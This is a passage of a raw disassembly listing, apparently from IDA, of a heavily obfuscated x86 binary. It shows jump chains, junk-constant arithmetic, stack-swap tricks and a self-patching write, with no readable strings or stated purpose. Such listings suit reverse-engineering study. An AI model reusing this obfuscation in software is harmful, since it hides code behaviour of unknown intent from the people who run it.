[00000001 BYTES: COLLAPSED FUNCTION nullsub_116. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43ABA9: ; CODE XREF: y22d6.y.:0044976Ej jmp sub_44A413 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E38B loc_43ABAE: ; CODE XREF: sub_44E38B-1650Cj jmp loc_442D03 ; END OF FUNCTION CHUNK FOR sub_44E38B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43ABB3: ; CODE XREF: sub_448EB6-6700j pop edx or edx, ds:4000E3h sub edx, 6CE96349h rol edx, 18h jmp loc_43EEC6 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- mov eax, 2DC123E0h call sub_43CA1A push ecx push 0BB807708h jmp loc_43B673 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43ABDD: ; CODE XREF: sub_448EB6:loc_440384j ; sub_448EB6-8B26j add ebx, 787F45D0h call sub_43E139 loc_43ABE8: ; CODE XREF: sub_44CB3F-3248j jmp loc_43B1AE ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- mov ds:off_41E00C, eax lea eax, sub_4425E0 mov byte ptr [eax], 0C3h jmp sub_4425E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4425E0 loc_43AC01: ; CODE XREF: sub_4425E0+1j push offset loc_43F3F5 loc_43AC06: ; CODE XREF: y22d6.y.:loc_43ADD7j jmp loc_440E3E ; END OF FUNCTION CHUNK FOR sub_4425E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_43AC0B: ; CODE XREF: sub_43B09B:loc_44991Aj ; y22d6.y.:0044CF26j jge nullsub_146 push edi jmp loc_43F70C ; END OF FUNCTION CHUNK FOR sub_43B09B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_74. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D7E0 loc_43AC18: ; CODE XREF: sub_44D7E0-941Ej jmp loc_4395DC ; END OF FUNCTION CHUNK FOR sub_44D7E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AD64 loc_43AC1D: ; CODE XREF: sub_43AD64:loc_445C4Bj pop eax and eax, 0B2C989E7h add eax, 0A7BCAF74h and eax, 9882D756h jmp loc_438240 ; END OF FUNCTION CHUNK FOR sub_43AD64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E81B loc_43AC35: ; CODE XREF: sub_43E81B:loc_4447B5j or ecx, 0B74028F5h sub edx, 0A0F9AB40h jmp loc_43B749 ; END OF FUNCTION CHUNK FOR sub_43E81B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4481AF loc_43AC46: ; CODE XREF: sub_4481AF+8j call sub_43E15A push eax call sub_43AC5C retn ; END OF FUNCTION CHUNK FOR sub_4481AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A6E1 loc_43AC52: ; CODE XREF: sub_43A6E1+F102j jmp nullsub_295 ; END OF FUNCTION CHUNK FOR sub_43A6E1 ; --------------------------------------------------------------------------- loc_43AC57: ; CODE XREF: y22d6.y.:00448446j jmp sub_44928B ; =============== S U B R O U T I N E ======================================= sub_43AC5C proc near ; CODE XREF: sub_4481AF-D563p ; FUNCTION CHUNK AT 0043B67F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00446F8D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044DFE6 SIZE 0000000D BYTES push ebp jmp loc_43B67F sub_43AC5C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C712 loc_43AC62: ; CODE XREF: sub_43C712:loc_44CBF3j xor eax, eax call sub_44DCB9 loc_43AC69: ; CODE XREF: sub_43E48C+B680j jmp loc_44015F ; END OF FUNCTION CHUNK FOR sub_43C712 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CBD3 loc_43AC6E: ; CODE XREF: sub_43CBD3:loc_43DD8Cj call sub_4480DE retn ; END OF FUNCTION CHUNK FOR sub_43CBD3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_43AC74: ; CODE XREF: sub_44BCC2-7E78j jmp loc_441579 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4416F3 loc_43AC79: ; CODE XREF: sub_4416F3+18j jmp loc_43A220 ; END OF FUNCTION CHUNK FOR sub_4416F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43837F loc_43AC7E: ; CODE XREF: sub_43837F:loc_43D4FAj jmp loc_445569 ; END OF FUNCTION CHUNK FOR sub_43837F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447940 loc_43AC83: ; CODE XREF: sub_447940-B462j jmp loc_444306 ; END OF FUNCTION CHUNK FOR sub_447940 ; =============== S U B R O U T I N E ======================================= sub_43AC88 proc near ; CODE XREF: sub_438B66:loc_43A519p ; sub_44B1D2-DCABj js sub_44371A push offset loc_439CD8 jmp nullsub_21 sub_43AC88 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C6D7 loc_43AC98: ; CODE XREF: sub_43C6D7:loc_445F78j mov edi, ebx xchg edi, [esp+4+var_4] pushf push 0E252B6F8h pop ebx xor ebx, ds:4000E0h add ebx, 5822545Fh jmp loc_44CE1D ; END OF FUNCTION CHUNK FOR sub_43C6D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A6E1 loc_43ACB5: ; CODE XREF: sub_43A6E1+381Ej ; sub_43A6E1:loc_4430DEj add edx, 70E3A9B3h js loc_449460 loc_43ACC1: ; CODE XREF: sub_43BDD3+Ej jmp loc_442FD2 ; END OF FUNCTION CHUNK FOR sub_43A6E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4422AA loc_43ACC6: ; CODE XREF: sub_4422AA:loc_43953Aj jmp loc_44B6D8 ; END OF FUNCTION CHUNK FOR sub_4422AA ; --------------------------------------------------------------------------- sub eax, 7D1D8074h ; DATA XREF: sub_43B252+2A3Bo jmp loc_449458 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E5C2 loc_43ACD6: ; CODE XREF: sub_43E5C2-582Ej ; sub_44C4FF:loc_44505Dj ... xor eax, 32426C14h sub eax, 0D31A4D8Dh xor eax, 0DC67F43Fh add eax, 5794CDB1h xor eax, 0D4D46998h jmp loc_43A2E6 ; END OF FUNCTION CHUNK FOR sub_43E5C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44193A loc_43ACF9: ; CODE XREF: sub_44193A+4j mov edi, ecx xchg edi, [esp+4+var_4] mov esp, ebp xchg edi, [esp+0] jmp loc_4421E7 ; END OF FUNCTION CHUNK FOR sub_44193A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_132. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43AD09: ; CODE XREF: y22d6.y.:00443D11j jmp loc_44096D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E14E loc_43AD0E: ; CODE XREF: sub_44E14E:loc_43F4F1j jnz loc_43D7FB jmp loc_43A721 ; END OF FUNCTION CHUNK FOR sub_44E14E ; =============== S U B R O U T I N E ======================================= sub_43AD19 proc near ; CODE XREF: y22d6.y.:004396E6j ; y22d6.y.:0043F707p var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0044DFA6 SIZE 00000022 BYTES xchg ebx, [esp+0] pop ebx push edx mov edx, ebx xchg edx, [esp+0] push 56A059DFh jmp loc_44DFA6 sub_43AD19 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_43AD2D: ; CODE XREF: y22d6.y.:loc_43F4D0j push eax retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43AD2F proc near ; CODE XREF: sub_43E81B+B517p ; sub_43BA9E+11E92p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004373C9 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0043B725 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043FD47 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004439A5 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00448CF4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044940F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00449B53 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0044A839 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044AE79 SIZE 00000021 BYTES push ebp mov ebp, esp push ecx mov esp, ebp xchg ebx, [esp+4+var_4] jmp loc_448CF4 sub_43AD2F endp ; =============== S U B R O U T I N E ======================================= sub_43AD3D proc near ; CODE XREF: y22d6.y.:00438510j ; sub_43887A+1p ; FUNCTION CHUNK AT 0043D777 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043E897 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044168B SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004492B1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044C086 SIZE 0000001D BYTES xchg edi, [esp+0] pop edi mov ebp, esp push edi mov edi, ecx xchg edi, [esp+0] push edx jmp loc_4492B1 sub_43AD3D endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_135. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C55B loc_43AD50: ; CODE XREF: sub_445787+5j jmp loc_4446AE ; END OF FUNCTION CHUNK FOR sub_43C55B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442C0C loc_43AD55: ; CODE XREF: sub_442C0C+286Dj jmp loc_43C6AD ; END OF FUNCTION CHUNK FOR sub_442C0C ; --------------------------------------------------------------------------- loc_43AD5A: ; CODE XREF: y22d6.y.:0043D3EBj jmp loc_44623D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C3DD loc_43AD5F: ; CODE XREF: sub_43C3DD-944j jmp nullsub_26 ; END OF FUNCTION CHUNK FOR sub_43C3DD ; =============== S U B R O U T I N E ======================================= sub_43AD64 proc near ; CODE XREF: sub_4428C2:loc_441A8Ap ; y22d6.y.:0044B24Dj arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00438240 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043886A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043AC1D SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0043D791 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445C4B SIZE 00000005 BYTES xchg edx, [esp+0] pop edx pop edx mov eax, [esp-8+arg_4] push edx push eax push 0D115A57h jmp loc_445C4B sub_43AD64 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_60. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4372BC loc_43AD79: ; CODE XREF: sub_4372BC+7j jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_4372BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_43AD7E: ; CODE XREF: sub_44057E+770Dj jg loc_4433CA rol ebx, 0Eh shl ebp, 1Ah push edi loc_43AD8B: ; CODE XREF: sub_44057E:loc_43E95Ej ; sub_44B1D2+Cj add dword ptr [ebp-4], 8 jmp loc_43B060 ; END OF FUNCTION CHUNK FOR sub_44057E ; =============== S U B R O U T I N E ======================================= sub_43AD94 proc near ; CODE XREF: sub_437712+6EE3j ; sub_44AEDA-6DFFp ; FUNCTION CHUNK AT 004420F4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00449F31 SIZE 00000019 BYTES push ebp jmp loc_4420F4 sub_43AD94 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43AD9A: ; CODE XREF: sub_448EB6+88j test edi, 2594CE98h jmp loc_44DAF0 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_43ADA6: ; CODE XREF: y22d6.y.:00439728j jmp loc_44E1EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439FCB loc_43ADAB: ; CODE XREF: sub_439FCB-1038j jmp loc_43CFB3 ; END OF FUNCTION CHUNK FOR sub_439FCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_445A15 loc_43ADB0: ; CODE XREF: sub_445A15-9E5Bj push esi push 0A00AC91Bh pop esi add esi, 0B63C935Eh jmp loc_439B60 ; END OF FUNCTION CHUNK FOR sub_445A15 ; --------------------------------------------------------------------------- jmp ds:off_41E144 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439F5A loc_43ADC8: ; CODE XREF: sub_439F5A+673Dj jmp loc_43A80C ; END OF FUNCTION CHUNK FOR sub_439F5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448006 loc_43ADCD: ; CODE XREF: sub_448006:loc_43D344j ; sub_43C7C1+26C6j ... push offset loc_437010 jmp nullsub_105 ; END OF FUNCTION CHUNK FOR sub_448006 ; --------------------------------------------------------------------------- loc_43ADD7: ; CODE XREF: y22d6.y.:004483A4j jle loc_43AC06 add edx, 2B790555h jmp loc_43724D ; --------------------------------------------------------------------------- loc_43ADE8: ; DATA XREF: y22d6.y.:00437D72o xchg eax, [esp] jmp loc_441CA3 ; --------------------------------------------------------------------------- loc_43ADF0: ; DATA XREF: sub_4383E0+D72Bo xchg eax, [esp] push 1915166h pop ecx add ecx, 9AEEC75Dh ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43ADFF: ; CODE XREF: sub_448EB6:loc_440799j js loc_44B048 adc edi, edx loc_43AE07: ; CODE XREF: sub_43A6E1+3818j jmp loc_44534C ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E5C7 loc_43AE0C: ; CODE XREF: sub_44E5C7+Aj mov al, [eax] jo loc_43786F sub al, 99h push 8F6A884Dh pop edx rol edx, 1Eh jmp loc_43CCE7 ; END OF FUNCTION CHUNK FOR sub_44E5C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A041 loc_43AE24: ; CODE XREF: sub_43A041+10901j cmp eax, 0BF5BD26Dh jmp loc_43CE61 ; END OF FUNCTION CHUNK FOR sub_43A041 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_43AE2F: ; CODE XREF: sub_44B1D2-806Ej cmp edi, esi jmp loc_437CF6 ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- dw 890Fh dd 0FFFFDAC4h, 0DAEDD581h, 890F5288h, 4647h, 4362E99Dh dd 0D9810000h, 0F44A9FA7h, 0A794E9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4409F4 loc_43AE59: ; CODE XREF: sub_4409F4-4678j jl loc_4495CD loc_43AE5F: ; CODE XREF: y22d6.y.:00449EB9j jmp loc_43A10E ; END OF FUNCTION CHUNK FOR sub_4409F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E0A9 loc_43AE64: ; CODE XREF: sub_43E0A9+5BAAj jmp nullsub_183 ; END OF FUNCTION CHUNK FOR sub_43E0A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43AE69: ; CODE XREF: sub_448EB6-BD8Ej jmp nullsub_316 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D6D0 loc_43AE6E: ; CODE XREF: sub_44D6D0-14AA0j jmp nullsub_255 ; END OF FUNCTION CHUNK FOR sub_44D6D0 ; --------------------------------------------------------------------------- test esi, ecx jmp loc_443D16 ; --------------------------------------------------------------------------- cdq jmp loc_43C22C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_267. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441F08 loc_43AE81: ; CODE XREF: sub_441F08+59B0j jmp loc_4403B2 ; END OF FUNCTION CHUNK FOR sub_441F08 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CBF3 loc_43AE86: ; CODE XREF: sub_43CBF3+A40j jmp loc_44C4D2 ; END OF FUNCTION CHUNK FOR sub_43CBF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44734D loc_43AE8B: ; CODE XREF: sub_44734D:loc_44735Ej mov eax, [ebp-4] add eax, 3Ch push offset loc_447157 jmp loc_43866E ; END OF FUNCTION CHUNK FOR sub_44734D ; --------------------------------------------------------------------------- loc_43AE9B: ; DATA XREF: sub_43C466+AD86o cmp dword ptr [ebp-4], 0 jz loc_438C96 loc_43AEA5: ; CODE XREF: y22d6.y.:loc_43F310j jmp loc_43F0A0 ; =============== S U B R O U T I N E ======================================= sub_43AEAA proc near ; CODE XREF: sub_44B267:loc_438803p ; y22d6.y.:0043FAECj arg_0 = dword ptr 4 xchg ebx, [esp+0] pop ebx xchg ebx, [esp-4+arg_0] mov [ebp-4], eax call sub_43C55B loc_43AEB9: ; CODE XREF: sub_43C3DD:loc_4385BCj pop edi rol eax, 9 loc_43AEBD: ; CODE XREF: sub_441F08+904Dj xor eax, 5ED553AFh jmp sub_44A7A9 sub_43AEAA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DF56 loc_43AEC8: ; CODE XREF: sub_43DF56j mov eax, ds:dword_4425CC push offset sub_43C6D7 jmp nullsub_31 ; END OF FUNCTION CHUNK FOR sub_43DF56 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B98D loc_43AED8: ; CODE XREF: sub_43B98D+736j push eax mov eax, [ebp-4] mov eax, [eax+3Ch] push offset sub_445B95 jmp nullsub_100 ; END OF FUNCTION CHUNK FOR sub_43B98D ; --------------------------------------------------------------------------- loc_43AEE9: ; CODE XREF: y22d6.y.:loc_4395D7j jo loc_445DAC loc_43AEEF: ; CODE XREF: y22d6.y.:loc_4395C6j or ecx, 19A102C8h add ecx, 669EBA44h mov [ecx], eax jmp loc_444CEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C2B0 loc_43AF02: ; CODE XREF: sub_44C2B0:loc_44C2B5j sub eax, 4E731924h or eax, 9E80ED58h add eax, 60BD5F45h xchg eax, [esp+0] jmp sub_44C171 ; END OF FUNCTION CHUNK FOR sub_44C2B0 ; --------------------------------------------------------------------------- loc_43AF1C: ; CODE XREF: y22d6.y.:0043EE0Aj jle loc_441ACD push 2F188175h jmp loc_43844A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C3DD loc_43AF2C: ; CODE XREF: sub_43C3DD:loc_439590j jz loc_43BBE7 jmp loc_445E6F ; END OF FUNCTION CHUNK FOR sub_43C3DD ; --------------------------------------------------------------------------- mov esi, 9B2C946Dh jmp loc_44B07D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C55B loc_43AF41: ; CODE XREF: sub_43C55B:loc_444CBFj push edi mov edi, edx xchg edi, [esp+4+var_4] call sub_442C0C mov eax, 1AABF86Ch call sub_43F7FF jmp loc_448657 ; END OF FUNCTION CHUNK FOR sub_43C55B ; =============== S U B R O U T I N E ======================================= sub_43AF5B proc near ; DATA XREF: sub_439051:loc_4402CAo ; FUNCTION CHUNK AT 00437CB7 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0043B21F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043CDF7 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00442F8D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0044397C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00444F5A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044CE9D SIZE 00000005 BYTES mov esi, ecx pop ecx xor eax, 0DEBF6904h push edi push 157055DAh pop edi jmp loc_44CE9D sub_43AF5B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43AF70: ; CODE XREF: sub_448EB6:loc_444638j jnz loc_448627 jmp loc_44B453 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_43AF7B: ; CODE XREF: y22d6.y.:004435FBj and edi, 0A645B8D7h adc esi, 40017283h and edx, eax ; START OF FUNCTION CHUNK FOR sub_4435D6 loc_43AF89: ; CODE XREF: sub_4435D6:loc_4435E7j add edi, 3FBF12C4h xchg edi, [esp+0] jmp sub_44D293 ; END OF FUNCTION CHUNK FOR sub_4435D6 ; --------------------------------------------------------------------------- cmp ecx, 0C1366283h jmp loc_4392AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E5C7 loc_43AFA2: ; CODE XREF: sub_44E5C7-5BF0j mov edi, 21C47A7h not eax adc eax, ebp loc_43AFAB: ; CODE XREF: sub_44E5C7:loc_447A42j mov eax, [ebp+var_4] cmp byte ptr [eax], 0F1h jnz loc_43C52F jmp loc_447D5A ; END OF FUNCTION CHUNK FOR sub_44E5C7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_179. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A148 loc_43AFBD: ; CODE XREF: sub_43A148:loc_4417D9j mov ebx, [edx] sub ebx, eax push 33D661E8h add ecx, eax jmp loc_43C1C7 ; END OF FUNCTION CHUNK FOR sub_43A148 ; =============== S U B R O U T I N E ======================================= sub_43AFCD proc near ; DATA XREF: sub_44A688+5o push 57A59189h pop ebx xor ebx, 29D72A0Ch add ebx, 0E062982Ah xor eax, ebx pop ebx jmp sub_44A7A9 sub_43AFCD endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ebx jmp loc_44969D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_43AFED: ; CODE XREF: sub_44271A:loc_438EBBj xchg esi, [esp+8+var_8] jmp loc_44A683 ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BCA9 loc_43AFF5: ; CODE XREF: y22d6.y.:loc_437F80j ; sub_43BCA9+857Aj pop eax push 666B8922h loc_43AFFB: ; CODE XREF: sub_43BCA9:loc_437280j push eax push 66E8344Bh jmp loc_43A192 ; END OF FUNCTION CHUNK FOR sub_43BCA9 ; =============== S U B R O U T I N E ======================================= sub_43B006 proc near ; CODE XREF: y22d6.y.:0043B188j ; sub_44D7E0-CD73p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0044D411 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044DF83 SIZE 0000000F BYTES xchg esi, [esp+0] pop esi mov eax, [esp-4+arg_0] push edx call sub_43E913 mov eax, 86B13FACh jmp loc_44D411 sub_43B006 endp ; =============== S U B R O U T I N E ======================================= sub_43B01D proc near ; CODE XREF: sub_446145-AC6Ep ; y22d6.y.:0043EBB8j xchg edx, [esp+0] pop edx call sub_449739 loc_43B026: ; CODE XREF: sub_44C322:loc_4413E0j mov ds:dword_441974, eax loc_43B02B: ; CODE XREF: y22d6.y.:00445C05j ; sub_446145+Bj ... call sub_4436DB loc_43B030: ; CODE XREF: sub_43BDFB+7j jmp sub_449F8E sub_43B01D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43B035 proc near ; CODE XREF: y22d6.y.:004397AEj ; sub_437913+7407p ; FUNCTION CHUNK AT 0043D840 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043E487 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043FB36 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0044C1C5 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi sub eax, ecx pop ecx jmp loc_43E487 sub_43B035 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A148 loc_43B041: ; CODE XREF: sub_43A148+13B49j ; sub_43A148:loc_44DC9Fj or ecx, 0D68DE60Fh xor ecx, 63F98230h test ecx, 100000h jmp loc_43BE19 ; END OF FUNCTION CHUNK FOR sub_43A148 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DCC0 loc_43B058: ; CODE XREF: sub_43DCC0:loc_43EBBEj xchg edx, [esp+10h+var_10] jmp sub_44D088 ; END OF FUNCTION CHUNK FOR sub_43DCC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_43B060: ; CODE XREF: sub_44057E-57EFj mov eax, [ebp-4] cmp dword ptr [eax+4], 0 ja loc_44310F jmp loc_449A3D ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43B072: ; CODE XREF: sub_448EB6-883j jz loc_438F00 jmp loc_44B698 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E81B loc_43B07D: ; CODE XREF: sub_43E81B+A1CFj jnz loc_4479CB loc_43B083: ; CODE XREF: sub_43E81B:loc_437992j mov eax, 400h call sub_4481AF mov [ebp-8], eax push esi push 3CAD5D7Bh jmp loc_44A00F ; END OF FUNCTION CHUNK FOR sub_43E81B ; =============== S U B R O U T I N E ======================================= sub_43B09B proc near ; CODE XREF: sub_43B09B:loc_438F12j ; sub_4383E0+BB44j ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00438068 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00438A4B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00438E1B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00438EDF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00438F12 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00439E11 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0043A6F3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043AC0B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0043B336 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043CC58 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E096 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043E259 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043E8A1 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0043E8D4 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043EAA4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043F70C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0044071C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00440BB5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00440F52 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00440F5D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004436B0 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00443F29 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00444002 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0044401F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004441F7 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00444EA9 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00444FD9 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 004461E4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00448394 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00448861 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044991A SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00449F4B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044A078 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0044AA19 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0044AC3D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0044D23E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0044D28C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0044DFC8 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0044E585 SIZE 0000000B BYTES jnb loc_443F29 pop edx mov eax, [esp+0] loc_43B0A5: ; CODE XREF: y22d6.y.:004478E3j push edx call sub_43E913 mov eax, 0EF9F7D01h jmp loc_438068 sub_43B09B endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_43B0B5: ; CODE XREF: y22d6.y.:0044C3BCj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_43B0B6: ; CODE XREF: sub_44B17B-C99j jmp loc_43B1E4 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- loc_43B0BB: ; CODE XREF: y22d6.y.:004471D6j jmp loc_43D519 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4409F4 loc_43B0C0: ; CODE XREF: sub_4409F4+7j jmp loc_443C58 ; END OF FUNCTION CHUNK FOR sub_4409F4 ; --------------------------------------------------------------------------- loc_43B0C5: 